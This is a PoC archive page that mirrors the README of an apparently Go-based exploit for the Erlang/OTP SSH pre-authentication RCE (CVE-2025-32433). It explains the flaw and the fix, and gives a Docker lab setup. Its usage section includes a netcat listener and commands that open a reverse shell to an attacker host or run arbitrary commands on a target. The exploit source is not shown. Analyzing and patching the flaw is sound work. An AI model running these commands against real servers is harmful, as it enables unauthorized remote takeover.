Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2025-32433 PoC — Erlang/OTP SSH Vulnerable to Pre-Authentication RCE

Source
Associated Vulnerability
Title:Erlang/OTP SSH Vulnerable to Pre-Authentication RCE (CVE-2025-32433)
Description:Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This issue is patched in versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. A temporary workaround involves disabling the SSH server or to prevent access via firewall rules.
Description
Go-based exploit for CVE-2025-32433
Readme
# CVE-2025-32433 Remote Shell
Go-based exploit for CVE-2025-32433 returning a remote bash shell.

Heavily inspired by understanding of exploit derived from [ProDefense's PoC for CVE-2025-32433](https://github.com/ProDefense/CVE-2025-32433).


## Running the Exploit
```
make
```
>  `exploit.exe` is also made available for Windows machines by the cross-compilation Makefile.

then execute the exploit binary in one of 2 ways:

**Command**
```
./exploit <target-ip> <target-port> "<command>"
```
> NOTE: does not return the output of command

**Reverse Shell**
```
nc -lnvp <attacker-port>
```
```
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
```


## Setting Up the Environment
Using `ProDefense`'s Dockerfile, you can set up an environment through the following:
```
docker build -t "cve-2025-32433:Dockerfile" .
```
```
docker run -p 2222:2222 cve-2025-32433:Dockerfile
```
You may then execute the exploit as in the [Running the Exploit](#running-the-exploit) section: e.g.
```
nc -lnvp 4444
```
```
./exploit 127.0.0.1 2222 172.17.0.1 4444
```
> `172.17.0.1` is the default IP for the Docker Host


## Explanation of Exploit

> TL;DR **"The issue is caused by a flaw in the SSH protocol message handling which allows an attacker to send connection protocol messages prior to authentication,"**

Typical SSH Procedure:
```
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
```

Exploit Procedure:
1. TCP Connection to Victim
2. SSH Banner Exchange
3. `SSH_MSG_KEXINIT`
4. `SSH_MSG_CHANNEL_OPEN`		(Pre-auth)
5. `SSH_MSG_CHANNEL_REQUEST`	(Pre-auth)  --> contains command payload

> Notice that the entire USERAUTH portion is skipped in the exploit.

### Summary of Messages

Relevant RFCs for SSH Messages:
* [`RFC 4253: The Secure Shell (SSH) Transport Layer Protocol`](https://datatracker.ietf.org/doc/html/rfc4253)
* [`RFC 4254: The Secure Shell (SSH) Connection Protocol`](https://datatracker.ietf.org/doc/html/rfc4254)

#### Message Numbers
![Message Numbers in SSH Transport Layer Protocol](images/transport_layer_protocol_message_numbers.png)

![Message Numbers in SSH Connection Protocol](images/connection_protocol_message_numbers.png)

#### Message Formats
SSH_MSG_KEXINIT

![SSH_MSG_KEXINIT](images/SSH_MSG_KEXINIT_format.png)


SSH_MSG_CHANNEL_OPEN

![SSH_MSG_CHANNEL_OPEN](images/SSH_MSG_CHANNEL_OPEN_format.png)


SSH_MSG_CHANNEL_REQUEST

![SSH_MSG_CHANNEL_REQUEST](images/SSH_MSG_CHANNEL_REQUEST_format.png)


### Other Requirements

String Format (from [`RFC 4251: The Secure Shell (SSH) Protocol Architecture`](https://datatracker.ietf.org/doc/html/rfc4251))

![String](images/string_format.png)


Padding

![Padding](images/padding.png)


### Understanding Fix and Exploit

The following is the fix introduced to the [Erlang OTP Libraries](https://github.com/erlang/otp) in the [`ssh: early RCE fix` commit](https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891):

![handle_msg](images/handle_msg.png)

The fix introduces a new `handle_msg` clause that, according to its arguments, catches:
* `Msg`: catch-all variable for any incoming SSH messages not already matched by earlier clauses (like `#ssh_msg_disconnect{}`)
* `#ssh{authenticated = false}`: session state that matches if the connection has not yet been authenticated.

The clause will not catch sessions with `authenticated = true`, which is attached to the session when the server receives a `#ssh_msg_userauth_success{}`:

![authenticated = true](images/authenticated_set_true.png)

which is sent after the success of any of the following authentication methods:

![authentication methods sending `#ssh_msg_userauth_success{}`](images/ssh_msg_userauth_success.png)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →